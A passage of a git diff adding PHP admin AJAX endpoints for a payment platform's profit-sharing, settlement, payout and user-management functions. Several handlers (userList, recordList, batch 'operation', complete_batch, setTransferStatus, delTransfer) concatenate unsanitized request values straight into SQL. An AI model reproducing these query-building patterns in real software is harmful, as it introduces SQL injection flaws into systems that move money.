\lib\ProfitSharing\CommUtil::getModel($channel); + if($status == 1){ + $result = $model->addReceiver($row['account'], $row['name']); + }elseif($status == 0){ + $result = $model->deleteReceiver($row['account'], $row['name']); + } + if($result['code'] == 0 || $status == 0 && strpos($result['msg'],'分账接收方不存在')!==false){ + $DB->update('psreceiver', ['status'=>$status], ['id'=>$id]); + exit('{"code":0,"msg":"状态修改成功!"}'); + }else{ + exit(json_encode($result)); + } +break; + +case 'del_receiver': + $id=intval($_POST['id']); + $row=$DB->find('psreceiver', '*', ['id'=>$id]); + if(!$row) exit('{"code":-1,"msg":"当前分账规则不存在!"}'); + if($row['status']==1){ + $channel = $row['subchannel'] > 0 ? \lib\Channel::getSub($row['subchannel']) : \lib\Channel::get($row['channel'], $row['uid']?$DB->findColumn('user', 'channelinfo', ['uid'=>$row['uid']]):null); + if($channel){ + $model = \lib\ProfitSharing\CommUtil::getModel($channel); + $model->deleteReceiver($row['account'], $row['name']); + } + } + if($DB->delete('psreceiver', ['id'=>$id])){ + exit('{"code":0,"msg":"删除分账规则成功!"}'); + }else{ + exit('{"code":-1,"msg":"删除分账规则失败['.$DB->error().']"}'); + } +break; + + +case 'submit': + $id=intval($_POST['id']); + $row = $DB->getRow("SELECT A.*,B.channel,B.account,B.name,B.uid psuid,C.uid,C.subchannel FROM pre_psorder A LEFT JOIN pre_psreceiver B ON A.rid=B.id LEFT JOIN pre_order C ON C.trade_no=A.trade_no WHERE A.id=:id", [':id'=>$id]); + if(!$row)exit('{"code":-1,"msg":"订单不存在"}'); + if($row['status']!=0&&$row['status']!=3)exit('{"code":-1,"msg":"只有待分账的订单才能提交分账"}'); + $channel = $row['subchannel'] > 0 ? \lib\Channel::getSub($row['subchannel']) : \lib\Channel::get($row['channel'], $row['uid']?$DB->findColumn('user', 'channelinfo', ['uid'=>$row['uid']]):null); + if(!$channel) exit('{"code":-1,"msg":"通道信息不存在"}'); + $model = \lib\ProfitSharing\CommUtil::getModel($channel); + $result = $model->submit($row['trade_no'], $row['api_trade_no'], $row['account'], $row['name'], $row['money']); + if($result['code'] == 0){ + $DB->update('psorder', ['status'=>1,'settle_no'=>$result['settle_no']], ['id'=>$id]); + }elseif($result['code'] == 1){ + $DB->update('psorder', ['status'=>2,'settle_no'=>$result['settle_no']], ['id'=>$id]); + if(!empty($row['psuid']) && $channel['mode']==0){ + changeUserMoney($row['psuid'], $row['money'], false, '订单分账', $row['trade_no']); + } + }elseif($result['code'] == -2){ + //$DB->update('psorder', ['status'=>3,'result'=>$result['msg']], ['id'=>$id]); + } + exit(json_encode($result)); +break; + +case 'query': + $id=intval($_POST['id']); + $row = $DB->getRow("SELECT A.*,B.channel,B.account,B.name,B.uid psuid,C.uid,C.subchannel FROM pre_psorder A LEFT JOIN pre_psreceiver B ON A.rid=B.id LEFT JOIN pre_order C ON C.trade_no=A.trade_no WHERE A.id=:id", [':id'=>$id]); + if(!$row)exit('{"code":-1,"msg":"订单不存在"}'); + if($row['status']!=1)exit('{"code":-1,"msg":"只有已提交的订单才能查询结果"}'); + $channel = $row['subchannel'] > 0 ? \lib\Channel::getSub($row['subchannel']) : \lib\Channel::get($row['channel'], $row['uid']?$DB->findColumn('user', 'channelinfo', ['uid'=>$row['uid']]):null); + if(!$channel) exit('{"code":-1,"msg":"通道信息不存在"}'); + $model = \lib\ProfitSharing\CommUtil::getModel($channel); + $result = $model->query($row['trade_no'], $row['api_trade_no'], $row['settle_no']); + if($result['code']==0){ + if($result['status']==1){ + $DB->update('psorder', ['status'=>2], ['id'=>$id]); + if(!empty($row['psuid']) && $channel['mode']==0){ + changeUserMoney($row['psuid'], $row['money'], false, '订单分账', $row['trade_no']); + } + }elseif($result['status']==2){ + $DB->update('psorder', ['status'=>3,'result'=>$result['reason']], ['id'=>$id]); + } + } + exit(json_encode($result)); +break; + +case 'unfreeeze': + $id=intval($_POST['id']); + $row = $DB->getRow("SELECT A.*,B.channel,B.account,B.name,C.uid,C.subchannel FROM pre_psorder A LEFT JOIN pre_psreceiver B ON A.rid=B.id LEFT JOIN pre_order C ON C.trade_no=A.trade_no WHERE A.id=:id", [':id'=>$id]); + if(!$row)exit('{"code":-1,"msg":"订单不存在"}'); + if($row['status']==2)exit('{"code":-1,"msg":"只有待分账的订单才能取消分账"}'); + $channel = $row['subchannel'] > 0 ? \lib\Channel::getSub($row['subchannel']) : \lib\Channel::get($row['channel'], $row['uid']?$DB->findColumn('user', 'channelinfo', ['uid'=>$row['uid']]):null); + if(!$channel) exit('{"code":-1,"msg":"通道信息不存在"}'); + $model = \lib\ProfitSharing\CommUtil::getModel($channel); + $result = $model->unfreeeze($row['trade_no'], $row['api_trade_no']); + if($result['code'] == 0){ + $DB->update('psorder', ['status'=>4], ['id'=>$id]); + } + exit(json_encode($result)); +break; + +case 'return': + $id=intval($_POST['id']); + $row = $DB->getRow("SELECT A.*,B.channel,B.account,B.name,C.uid,C.subchannel FROM pre_psorder A LEFT JOIN pre_psreceiver B ON A.rid=B.id LEFT JOIN pre_order C ON C.trade_no=A.trade_no WHERE A.id=:id", [':id'=>$id]); + if(!$row)exit('{"code":-1,"msg":"订单不存在"}'); + if($row['status']!=2)exit('{"code":-1,"msg":"只有分账成功的订单才能回退"}'); + $channel = $row['subchannel'] > 0 ? \lib\Channel::getSub($row['subchannel']) : \lib\Channel::get($row['channel'], $row['uid']?$DB->findColumn('user', 'channelinfo', ['uid'=>$row['uid']]):null); + if(!$channel) exit('{"code":-1,"msg":"通道信息不存在"}'); + $model = \lib\ProfitSharing\CommUtil::getModel($channel); + $result = $model->return($row['trade_no'], $row['api_trade_no'], $row['account'], $row['money']); + if($result['code'] == 0){ + $DB->update('psorder', ['status'=>4], ['id'=>$id]); + } + exit(json_encode($result)); +break; + +case 'editmoney': + $id=intval($_POST['id']); + $money=trim($_POST['money']); + if(!is_numeric($money) || !preg_match('/^[0-9.]+$/', $money))exit('{"code":-1,"msg":"金额输入错误"}'); + $row = $DB->getRow("SELECT * FROM pre_psorder WHERE id=:id", [':id'=>$id]); + if(!$row)exit('{"code":-1,"msg":"订单不存在"}'); + if($row['status']!=0)exit('{"code":-1,"msg":"只有待分账的订单才能修改金额"}'); + $DB->update('psorder', ['money'=>$money], ['id'=>$id]); + exit('{"code":0,"msg":"succ"}'); +break; + +case 'operation': //批量操作订单 + $status=is_numeric($_POST['status'])?intval($_POST['status']):exit('{"code":-1,"msg":"请选择操作"}'); + $checkbox=$_POST['checkbox']; + $i=0; + foreach($checkbox as $id){ + if($status==5)$DB->exec("DELETE FROM pre_psorder WHERE id='$id'"); + else $DB->exec("update pre_psorder set status='$status' where id='$id' limit 1"); + $i++; + } + exit('{"code":0,"msg":"成功改变'.$i.'条订单状态"}'); +break; + +case 'statistics': + $sql = " 1=1"; + if(isset($_POST['rid']) && !empty($_POST['rid'])) { + $rid = intval($_POST['rid']); + $sql .= " AND rid='$rid'"; + } + if(isset($_POST['dstatus']) && $_POST['dstatus']>-1) { + $dstatus = intval($_POST['dstatus']); + $sql .= " AND status={$dstatus}"; + } + if(!empty($_POST['starttime']) || !empty($_POST['endtime'])){ + if(!empty($_POST['starttime'])){ + $starttime = daddslashes($_POST['starttime']); + $sql .= " AND addtime>='{$starttime} 00:00:00'"; + } + if(!empty($_POST['endtime'])){ + $endtime = daddslashes($_POST['endtime']); + $sql .= " AND addtime<='{$endtime} 23:59:59'"; + } + } + if(isset($_POST['value']) && !empty($_POST['value'])) { + $column = daddslashes($_POST['column']); + if($column == 'money'){ + $sql .= " AND {$column}='".floatval($_POST['value'])."'"; + }else{ + $sql .= " AND {$column}='".daddslashes($_POST['value'])."'"; + } + } + + $result = $DB->getRow("SELECT + SUM(money) AS totalMoney, + SUM(CASE WHEN status = 2 THEN money ELSE 0 END) AS successMoney, + SUM(CASE WHEN status = 3 THEN money ELSE 0 END) AS failMoney, + COUNT(*) AS totalCount, + SUM(CASE WHEN status = 2 THEN 1 ELSE 0 END) AS successCount, + SUM(CASE WHEN status = 3 THEN 1 ELSE 0 END) AS failCount + FROM pre_psorder WHERE {$sql}"); + + $successRate = $result['totalCount'] > 0 ? round(($result['successCount'] / $result['totalCount']) * 100, 2) : 0; + + $data = [ + 'totalMoney' => number_format($result['totalMoney'] ?? 0, 2, '.', ''), + 'successMoney' => number_format($result['successMoney'] ?? 0, 2, '.', ''), + 'failMoney' => number_format($result['failMoney'] ?? 0, 2, '.', ''), + 'totalCount' => $result['totalCount'] ?? 0, + 'successCount' => $result['successCount'] ?? 0, + 'failCount' => $result['failCount'] ?? 0, + 'successRate' => $successRate + ]; + + exit(json_encode(['code' => 0, 'data' => $data])); +break; + +default: + exit('{"code":-4,"msg":"No Act"}'); +break; +} \ No newline at end of file diff --git a/admin/ajax_settle.php b/admin/ajax_settle.php new file mode 100644 index 0000000..7b2e049 --- /dev/null +++ b/admin/ajax_settle.php @@ -0,0 +1,250 @@ +window.location.href='./login.php';"); +$act=isset($_GET['act'])?daddslashes($_GET['act']):null; + +if(!checkRefererHost())exit('{"code":403}'); + +@header('Content-Type: application/json; charset=UTF-8'); + +switch($act){ +case 'settleList': + $sql=" 1=1"; + if(isset($_POST['batch']) && !empty($_POST['batch'])) { + $batch = daddslashes($_POST['batch']); + $sql.=" AND `batch`='$batch'"; + } + if(isset($_POST['uid']) && !empty($_POST['uid'])) { + $uid = intval($_POST['uid']); + $sql.=" AND `uid`='$uid'"; + } + if(isset($_POST['type']) && !empty($_POST['type'])) { + $type = intval($_POST['type']); + $sql.=" AND `type`='$type'"; + } + if(isset($_POST['dstatus']) && $_POST['dstatus']>-1) { + $dstatus = intval($_POST['dstatus']); + $sql.=" AND `status`={$dstatus}"; + } + if(isset($_POST['value']) && !empty($_POST['value'])) { + $value = daddslashes($_POST['value']); + $sql.=" AND (`account` like '%{$value}%' OR `username` like '%{$value}%')"; + } + $offset = intval($_POST['offset']); + $limit = intval($_POST['limit']); + $total = $DB->getColumn("SELECT count(*) from pre_settle WHERE{$sql}"); + $list = $DB->getAll("SELECT * FROM pre_settle WHERE{$sql} order by id desc limit $offset,$limit"); + $list2 = []; + foreach($list as $row){ + if($row['type'] == 2 && $row['status'] == 1 && !empty($row['transfer_ext']) && time() - strtotime($row['transfer_date']) <= 86400){ + if(substr($row['ext'], 0, 4) == 'http'){ + $row['jumpurl'] = $row['ext']; + }else{ + $row['jumpurl'] = $siteurl.'paypage/wxtrans.php?id='.$row['id'].'&type=settle'; + } + } + $list2[] = $row; + } + + exit(json_encode(['total'=>$total, 'rows'=>$list2])); +break; + +case 'create_batch': + $count=$DB->getColumn("SELECT count(*) from pre_settle where status=0"); + if($count==0)exit('{"code":-1,"msg":"当前不存在待结算的记录"}'); + $batch=date("Ymd").rand(111,999); + $allmoney = 0; + $rs=$DB->query("SELECT * from pre_settle where status=0"); + while($row = $rs->fetch()) + { + $DB->exec("UPDATE pre_settle SET batch='$batch',status=2 WHERE id='{$row['id']}'"); + $allmoney+=$row['realmoney']; + } + $DB->insert('batch', ['batch'=>$batch, 'allmoney'=>$allmoney, 'count'=>$count, 'time'=>'NOW()', 'status'=>0]); + + exit(json_encode(['code'=>0, 'msg'=>'succ', 'batch'=>$batch, 'count'=>$count, 'allmoney'=>$allmoney])); +break; +case 'complete_batch': + $batch=trim($_POST['batch']); + $DB->exec("UPDATE pre_settle SET status=1 WHERE batch='$batch'"); + exit('{"code":0,"msg":"succ"}'); +break; +case 'setSettleStatus': + $id=intval($_GET['id']); + $status=intval($_GET['status']); + if($status==4){ + $row = $DB->find('settle', 'uid,money', ['id'=>$id]); + if(!$row) exit('{"code":200}'); + if($DB->exec("DELETE FROM pre_settle WHERE id='$id'")){ + changeUserMoney($row['uid'], $row['money'], true, '结算失败退回'); + exit('{"code":200}'); + } + else{ + exit('{"code":400,"msg":"删除记录失败!['.$DB->error().']"}'); + } + }else{ + if($status==1){ + $sql = "update pre_settle set status='$status',endtime='$date',result=NULL where id='$id'"; + + $row = $DB->find('settle', 'uid,money,realmoney,account', ['id'=>$id]); + \lib\MsgNotice::send('settle', $row['uid'], ['money'=>$row['money'], 'realmoney'=>$row['realmoney'], 'time'=>date('Y-m-d H:i:s'), 'account'=>$row['account']]); + }else{ + $sql = "update pre_settle set status='$status',endtime=NULL where id='$id'"; + } + if($DB->exec($sql)!==false) + exit('{"code":200}'); + else + exit('{"code":400,"msg":"修改记录失败!['.$DB->error().']"}'); + } +break; +case 'opslist': + $status=$_POST['status']; + $checkbox=$_POST['checkbox']; + $i=0; + foreach($checkbox as $id){ + if($status==4){ + $sql = "DELETE FROM pre_settle WHERE id='$id'"; + }elseif($status==1){ + $sql = "update pre_settle set status='$status',endtime='$date',result=NULL where id='$id'"; + }else{ + $sql = "update pre_settle set status='$status',endtime=NULL where id='$id'"; + } + $DB->exec($sql); + $i++; + } + exit('{"code":0,"msg":"成功改变'.$i.'条记录状态"}'); +break; +case 'settle_result': + $id=intval($_POST['id']); + $row=$DB->getRow("select result from pre_settle where id='$id' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前结算记录不存在!"}'); + $result = ['code'=>0,'msg'=>'succ','result'=>$row['result']]; + exit(json_encode($result)); +break; +case 'settle_setresult': + $id=intval($_POST['id']); + $result=trim($_POST['result']); + $row=$DB->getRow("select * from pre_settle where id='$id' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前结算记录不存在!"}'); + $sds = $DB->exec("UPDATE pre_settle SET result='$result' WHERE id='$id'"); + if($sds!==false) + exit('{"code":0,"msg":"修改成功!"}'); + else + exit('{"code":-1,"msg":"修改失败!'.$DB->error().'"}'); +break; +case 'settle_info': + $id=intval($_GET['id']); + $rows=$DB->getRow("select * from pre_settle where id='$id' limit 1"); + if(!$rows) + exit('{"code":-1,"msg":"当前结算记录不存在!"}'); + $data = '
结算方式
'; + $data .= '
结算账号
'; + $data .= '
真实姓名
'; + $data .= ''; + $result=array("code"=>0,"msg"=>"succ","data"=>$data,"pay_type"=>$rows['type']); + exit(json_encode($result)); +break; +case 'settle_save': + $id=intval($_POST['id']); + $pay_type=intval($_POST['pay_type']); + $pay_account=htmlspecialchars(trim($_POST['pay_account'])); + $pay_name=htmlspecialchars(trim($_POST['pay_name'])); + $data = ['type'=>$pay_type, 'account'=>$pay_account, 'username'=>$pay_name]; + if($DB->update('settle', $data, ['id'=>$id])!==false) + exit('{"code":0,"msg":"修改记录成功!"}'); + else + exit('{"code":-1,"msg":"修改记录失败!'.$DB->error().'"}'); +break; +case 'paypwd_check': + if(isset($_SESSION['paypwd']) && $_SESSION['paypwd']==$conf['admin_paypwd']) + exit('{"code":0,"msg":"ok"}'); + else + exit('{"code":-1,"msg":"error"}'); +break; +case 'paypwd_input': + $paypwd=trim($_POST['paypwd']); + if(!$conf['admin_paypwd'])exit('{"code":-1,"msg":"你还未设置支付密码"}'); + if($paypwd == $conf['admin_paypwd']){ + $_SESSION['paypwd'] = $paypwd; + exit('{"code":0,"msg":"ok"}'); + }else{ + exit('{"code":-1,"msg":"支付密码错误!"}'); + } +break; +case 'paypwd_reset': + unset($_SESSION['paypwd']); + exit('{"code":0,"msg":"ok"}'); +break; + +case 'transfer': + $id = isset($_POST['id'])?intval($_POST['id']):exit('{"code":-1,"msg":"ID不能为空"}'); + $type = isset($_POST['type'])?intval($_POST['type']):exit('{"code":-1,"msg":"type不能为空"}'); + $channelid = isset($_POST['channel'])?intval($_POST['channel']):0; + + $payee_err_code = [ //收款方原因导致的失败编码 + 'PAYEE_NOT_EXIST','PAYEE_ACCOUNT_STATUS_ERROR','CARD_BIN_ERROR','PAYEE_CARD_INFO_ERROR','PERM_AML_NOT_REALNAME_REV','PAYEE_USER_INFO_ERROR','PAYEE_ACC_OCUPIED','PERMIT_NON_BANK_LIMIT_PAYEE','PAYEE_TRUSTEESHIP_ACC_OVER_LIMIT','PAYEE_ACCOUNT_NOT_EXSIT','PAYEE_USERINFO_STATUS_ERROR','TRUSTEESHIP_RECIEVE_QUOTA_LIMIT','EXCEED_LIMIT_UNRN_DM_AMOUNT','INVALID_CARDNO','RELEASE_USER_FORBBIDEN_RECIEVE','PAYEE_USER_TYPE_ERROR','PAYEE_NOT_RELNAME_CERTIFY','PERMIT_LIMIT_PAYEE', + + 'OPENID_ERROR','NAME_MISMATCH','V2_ACCOUNT_SIMPLE_BAN','MONEY_LIMIT','EXCEED_PAYEE_ACCOUNT_LIMIT','PAYEE_ACCOUNT_ABNORMAL','APPID_OR_OPENID_ERR', + + 'REALNAME_CHECK_ERROR','RE_USER_NAME_CHECK_ERROR','ERR_TJ_BLACK','USER_FROZEN','TRANSFER_FAIL','TRANSFER_FEE_LIMIT_ERROR', + + 'ACCOUNT_FROZEN','REAL_NAME_CHECK_FAIL','NAME_NOT_CORRECT','OPENID_INVALID','TRANSFER_QUOTA_EXCEED','DAY_RECEIVED_QUOTA_EXCEED','MONTH_RECEIVED_QUOTA_EXCEED','DAY_RECEIVED_COUNT_EXCEED','ID_CARD_NOT_CORRECT','ACCOUNT_NOT_EXIST','TRANSFER_RISK','REALNAME_ACCOUNT_RECEIVED_QUOTA_EXCEED','RECEIVE_ACCOUNT_NOT_PERMMIT','PAYEE_ACCOUNT_ABNORMAL','BLOCK_B2C_USERLIMITAMOUNT_BSRULE_MONTH','BLOCK_B2C_USERLIMITAMOUNT_MONTH', + ]; + + if(!isset($_SESSION['paypwd']) || $_SESSION['paypwd']!==$conf['admin_paypwd'])exit('{"code":-1,"msg":"支付密码错误,请返回重新进入该页面"}'); + + $row=$DB->getRow("SELECT * FROM pre_settle WHERE id='{$id}' limit 1"); + if(!$row)exit('{"code":-1,"msg":"记录不存在"}'); + if($row['type']!=$type)exit('{"code":-1,"msg":"转账类型不正确"}'); + + if($row['transfer_status']==1)exit('{"code":0,"ret":2,"result":"转账订单号:'.$row['transfer_result'].' 支付时间:'.$row['transfer_date'].'"}'); + + if($type == 1){ + $app = 'alipay'; + }elseif($type == 2){ + $app = 'wxpay'; + }elseif($type == 3){ + $app = 'qqpay'; + }elseif($type == 4){ + $app = 'bank'; + } + $channel = \lib\Channel::get($channelid); + if(!$channel)exit('{"code":-1,"msg":"当前支付通道信息不存在"}'); + + $out_biz_no = date("YmdHis").str_pad($id, 5, '0', STR_PAD_LEFT); + $result = \lib\Transfer::submit($app, $channel, $out_biz_no, $row['account'], $row['username'], $row['realmoney']); + + if($result['code']==0){ + $data['code']=0; + $data['ret']=1; + $data['result']='转账订单号:'.$result['orderid'].' 支付时间:'.$result['paydate']; + $update = ['status'=>1, 'endtime'=>'NOW()', 'transfer_no'=>$out_biz_no, 'transfer_channel'=>$channelid, 'transfer_status'=>1, 'transfer_result'=>$result["orderid"], 'transfer_date'=>$result["paydate"]]; + if(isset($result['wxpackage'])) $update['transfer_ext'] = $result['wxpackage']; + $DB->update('settle', $update, ['id'=>$id]); + + if(isset($result['wxpackage'])) { + $jumpurl = $siteurl.'paypage/wxtrans.php?type=settle&id='.$id; + \lib\MsgNotice::send('settle', $row['uid'], ['money'=>$row['money'], 'realmoney'=>$row['realmoney'], 'time'=>date('Y-m-d H:i:s'), 'account'=>$row['account'], 'jumpurl'=>$jumpurl]); + }else{ + \lib\MsgNotice::send('settle', $row['uid'], ['money'=>$row['money'], 'realmoney'=>$row['realmoney'], 'time'=>date('Y-m-d H:i:s'), 'account'=>$row['account']]); + } + } else { + if(in_array($result['errcode'], $payee_err_code)){ + $data['code']=0; + $data['ret']=0; + $data['result']='转账失败 '.$result['msg']; + $DB->update('settle', ['status'=>3, 'result'=>$result["msg"], 'transfer_status'=>2, 'transfer_result'=>$data['result']], ['id'=>$id]); + }else{ + $data['code']=-1; + $data['msg']=$result['msg']; + } + } + exit(json_encode($data)); +break; + +default: + exit('{"code":-4,"msg":"No Act"}'); +break; +} \ No newline at end of file diff --git a/admin/ajax_transfer.php b/admin/ajax_transfer.php new file mode 100644 index 0000000..1449f23 --- /dev/null +++ b/admin/ajax_transfer.php @@ -0,0 +1,115 @@ +window.location.href='./login.php';"); +$act=isset($_GET['act'])?daddslashes($_GET['act']):null; + +if(!checkRefererHost())exit('{"code":403}'); + +@header('Content-Type: application/json; charset=UTF-8'); + +switch($act){ +case 'transferList': + $sql=" 1=1"; + if(isset($_POST['uid']) && !empty($_POST['uid'])) { + $uid = intval($_POST['uid']); + $sql.=" AND `uid`='$uid'"; + } + if(isset($_POST['type']) && !empty($_POST['type'])) { + $type = intval($_POST['type']); + $sql.=" AND `type`='$type'"; + } + if(isset($_POST['dstatus']) && $_POST['dstatus']>-1) { + $dstatus = intval($_POST['dstatus']); + $sql.=" AND `status`={$dstatus}"; + } + if(isset($_POST['value']) && !empty($_POST['value'])) { + $value = daddslashes($_POST['value']); + $sql.=" AND (`biz_no`='{$value}' OR `account` like '%{$value}%' OR `username` like '%{$value}%')"; + } + $offset = intval($_POST['offset']); + $limit = intval($_POST['limit']); + $total = $DB->getColumn("SELECT count(*) from pre_transfer WHERE{$sql}"); + $list = $DB->getAll("SELECT * FROM pre_transfer WHERE{$sql} order by biz_no desc limit $offset,$limit"); + $list2 = []; + foreach($list as $row){ + if($row['type'] == 'wxpay' && $row['status'] == 0 && !empty($row['ext'])){ + if(substr($row['ext'], 0, 4) == 'http'){ + $row['jumpurl'] = $row['ext']; + }else{ + $row['jumpurl'] = $siteurl.'paypage/wxtrans.php?id='.$row['biz_no'].'&type=transfer'; + } + } + $list2[] = $row; + } + + exit(json_encode(['total'=>$total, 'rows'=>$list2])); +break; + +case 'transfer_query': + $biz_no=trim($_GET['biz_no']); + $result = \lib\Transfer::status($biz_no); + exit(json_encode($result)); +break; +case 'transfer_result': + $biz_no=trim($_GET['biz_no']); + $row = $DB->find('transfer', 'biz_no,result', ['biz_no' => $biz_no]); + if(!$row) exit('{"code":-1,"msg":"付款记录不存在!"}'); + $result = ['code'=>0,'msg'=>$row['result']?$row['result']:'未知']; + exit(json_encode($result)); +break; +case 'transfer_cancel': + $biz_no=trim($_POST['biz_no']); + $result = \lib\Transfer::cancel($biz_no); + exit(json_encode($result)); +break; +case 'balance_query': + $type = $_POST['type']; + $channel = isset($_POST['channel'])?intval($_POST['channel']):$conf['transfer_'.$type]; + $channel = \lib\Channel::get($channel); + if(!$channel)exit('{"code":-1,"msg":"当前支付通道信息不存在"}'); + $user_id = isset($_POST['user_id'])?$_POST['user_id']:null; + $result = \lib\Transfer::balance($type, $channel, $user_id); + exit(json_encode($result)); +break; +case 'setTransferStatus': + $biz_no=$_POST['biz_no']; + $status=intval($_POST['status']); + if($DB->exec("UPDATE pre_transfer SET status='$status' WHERE biz_no='$biz_no'")!==false)exit('{"code":0,"msg":"succ"}'); + else exit('{"code":-1,"msg":"修改失败['.$DB->error().']"}'); +break; +case 'delTransfer': + $biz_no=$_POST['biz_no']; + if($DB->exec("DELETE FROM pre_transfer WHERE biz_no='$biz_no'")!==false)exit('{"code":0,"msg":"succ"}'); + else exit('{"code":-1,"msg":"删除失败['.$DB->error().']"}'); +break; +case 'refundTransfer': + $biz_no=$_POST['biz_no']; + $order = $DB->find('transfer', '*', ['biz_no' => $biz_no]); + if(!$order) exit('{"code":-1,"msg":"付款记录不存在!"}'); + if($DB->exec("UPDATE pre_transfer SET status='2' WHERE biz_no='$biz_no'")){ + if($order['uid'] > 0){ + changeUserMoney($order['uid'], $order['costmoney'], true, '代付退回'); + } + } + exit('{"code":0,"msg":"已成功将¥'.$order['costmoney'].'推给商户'.$order['uid'].'"}'); +break; +case 'transfer_proof': + $biz_no=trim($_POST['biz_no']); + $result = \lib\Transfer::proof($biz_no); + exit(json_encode($result)); +break; +case 'operation': //批量操作订单 + $status=is_numeric($_POST['status'])?intval($_POST['status']):exit('{"code":-1,"msg":"请选择操作"}'); + $checkbox=$_POST['checkbox']; + $i=0; + foreach($checkbox as $biz_no){ + if($status==3)$DB->exec("DELETE FROM pre_transfer WHERE biz_no='$biz_no'"); + else $DB->exec("update pre_transfer set status='$status' where biz_no='$biz_no' limit 1"); + $i++; + } + exit('{"code":0,"msg":"成功改变'.$i.'条订单状态"}'); +break; +default: + exit('{"code":-4,"msg":"No Act"}'); +break; +} \ No newline at end of file diff --git a/admin/ajax_user.php b/admin/ajax_user.php new file mode 100644 index 0000000..de55e10 --- /dev/null +++ b/admin/ajax_user.php @@ -0,0 +1,794 @@ +window.location.href='./login.php';"); +$act=isset($_GET['act'])?daddslashes($_GET['act']):null; + +if(!checkRefererHost())exit('{"code":403}'); + +@header('Content-Type: application/json; charset=UTF-8'); + +switch($act){ +case 'userList': + $usergroup = [0=>'默认用户组']; + $rs = $DB->getAll("SELECT * FROM pre_group"); + foreach($rs as $row){ + $usergroup[$row['gid']] = $row['name']; + } + unset($rs); + + $sql=" 1=1"; + if(isset($_POST['dstatus']) && !empty($_POST['dstatus'])) { + $dstatus = explode('_',$_POST['dstatus']); + $sql.=" AND `{$dstatus[0]}`='{$dstatus[1]}'"; + } + if(isset($_POST['gid']) && $_POST['gid']!=='') { + $gid = intval($_POST['gid']); + $sql.=" AND `gid`='$gid'"; + } + if(isset($_POST['upid']) && $_POST['upid']!=='') { + $upid = intval($_POST['upid']); + $sql.=" AND `upid`='$upid'"; + } + if(isset($_POST['value']) && !empty($_POST['value'])) { + $sql.=" AND `{$_POST['column']}`='{$_POST['value']}'"; + } + $offset = intval($_POST['offset']); + $limit = intval($_POST['limit']); + $total = $DB->getColumn("SELECT count(*) from pre_user WHERE{$sql}"); + $list = $DB->getAll("SELECT * FROM pre_user WHERE{$sql} order by uid desc limit $offset,$limit"); + $list2 = []; + foreach($list as $row){ + if($row['endtime']!=null && strtotime($row['endtime'])exec("UPDATE pre_user SET gid=0,endtime=NULL WHERE uid='{$row['uid']}'"); + $row['gid']=0; + }elseif($row['endtime']!=null){ + $row['endtime'] = date("Y-m-d", strtotime($row['endtime'])); + } + $row['groupname'] = $usergroup[$row['gid']]; + $list2[] = $row; + } + + exit(json_encode(['total'=>$total, 'rows'=>$list2])); +break; + +case 'recordList': + $sql=" 1=1"; + if(isset($_POST['uid']) && !empty($_POST['uid'])) { + $uid = intval($_POST['uid']); + $sql.=" AND `uid`='$uid'"; + } + if(!empty($_POST['starttime']) || !empty($_POST['endtime'])){ + if(!empty($_POST['starttime'])){ + $starttime = daddslashes($_POST['starttime']); + $sql.=" AND `date`>='{$starttime} 00:00:00'"; + } + if(!empty($_POST['endtime'])){ + $endtime = daddslashes($_POST['endtime']); + $sql.=" AND `date`<='{$endtime} 23:59:59'"; + } + } + if(isset($_POST['value']) && !empty($_POST['value'])) { + $sql.=" AND `{$_POST['column']}`='{$_POST['value']}'"; + } + $offset = intval($_POST['offset']); + $limit = intval($_POST['limit']); + $total = $DB->getColumn("SELECT count(*) from pre_record WHERE{$sql}"); + $list = $DB->getAll("SELECT * FROM pre_record WHERE{$sql} order by id desc limit $offset,$limit"); + + exit(json_encode(['total'=>$total, 'rows'=>$list])); +break; + +case 'record_stats': + $sql=" 1=1"; + if(isset($_POST['uid']) && !empty($_POST['uid'])) { + $uid = intval($_POST['uid']); + $sql.=" AND `uid`='$uid'"; + } + if(!empty($_POST['starttime']) || !empty($_POST['endtime'])){ + if(!empty($_POST['starttime'])){ + $starttime = daddslashes($_POST['starttime']); + $sql.=" AND `date`>='{$starttime} 00:00:00'"; + } + if(!empty($_POST['endtime'])){ + $endtime = daddslashes($_POST['endtime']); + $sql.=" AND `date`<='{$endtime} 23:59:59'"; + } + } + if(isset($_POST['value']) && !empty($_POST['value'])) { + $sql.=" AND `{$_POST['column']}`='{$_POST['value']}'"; + } + $result = $DB->getRow("SELECT + SUM(CASE WHEN action = 1 THEN money ELSE 0 END) AS incMoney, + SUM(CASE WHEN action = 2 THEN money ELSE 0 END) AS decMoney + FROM pre_record WHERE {$sql}"); + $data = [ + 'incMoney' => number_format($result['incMoney'] ?? 0, 2, '.', ''), + 'decMoney' => number_format($result['decMoney'] ?? 0, 2, '.', ''), + 'totalMoney' => number_format(($result['incMoney'] ?? 0) - ($result['decMoney'] ?? 0), 2, '.', ''), + ]; + exit(json_encode(['code' => 0, 'data' => $data])); +break; + +case 'userPayStat': + $startday = trim($_POST['startday']); + $endday = trim($_POST['endday']); + $method = trim($_POST['method']); + $type = intval($_POST['type']); + if(!$startday || !$endday)exit(json_encode(['code'=>0, 'msg'=>'no day'])); + $data = []; + $columns = ['uid'=>'商户ID', 'total'=>'总计']; + + if($method == 'type'){ + $paytype = []; + $rs = $DB->getAll("SELECT id,name,showname FROM pre_type WHERE status=1"); + foreach($rs as $row){ + $paytype[$row['id']] = $row['showname']; + if($type == 4){ + $columns['type_'.$row['name']] = $row['showname']; + }else{ + $columns['type_'.$row['id']] = $row['showname']; + } + } + unset($rs); + }else{ + $channel = []; + $rs = $DB->getAll("SELECT id,name FROM pre_channel WHERE status=1"); + foreach($rs as $row){ + $channel[$row['id']] = $row['name']; + } + unset($rs); + } + + if($type == 4){ + $startday .= ' 00:00:00'; + $endday .= ' 23:59:59'; + $rs=$DB->query("SELECT uid,type,channel,money from pre_transfer where status=1 and paytime>='$startday' and paytime<='$endday'"); + while($row = $rs->fetch()) + { + $money = (float)$row['money']; + if(!array_key_exists($row['uid'], $data)) $data[$row['uid']] = ['uid'=>$row['uid'], 'total'=>0]; + $data[$row['uid']]['total'] += $money; + if($method == 'type'){ + $ukey = 'type_'.$row['type']; + if(!array_key_exists($ukey, $data[$row['uid']])) $data[$row['uid']][$ukey] = $money; + else $data[$row['uid']][$ukey] += $money; + }else{ + $ukey = 'channel_'.$row['channel']; + if(!array_key_exists($ukey, $data[$row['uid']])) $data[$row['uid']][$ukey] = $money; + else $data[$row['uid']][$ukey] += $money; + if(!in_array($ukey, $columns)) $columns[$ukey] = $channel[$row['channel']]; + } + } + }else{ + 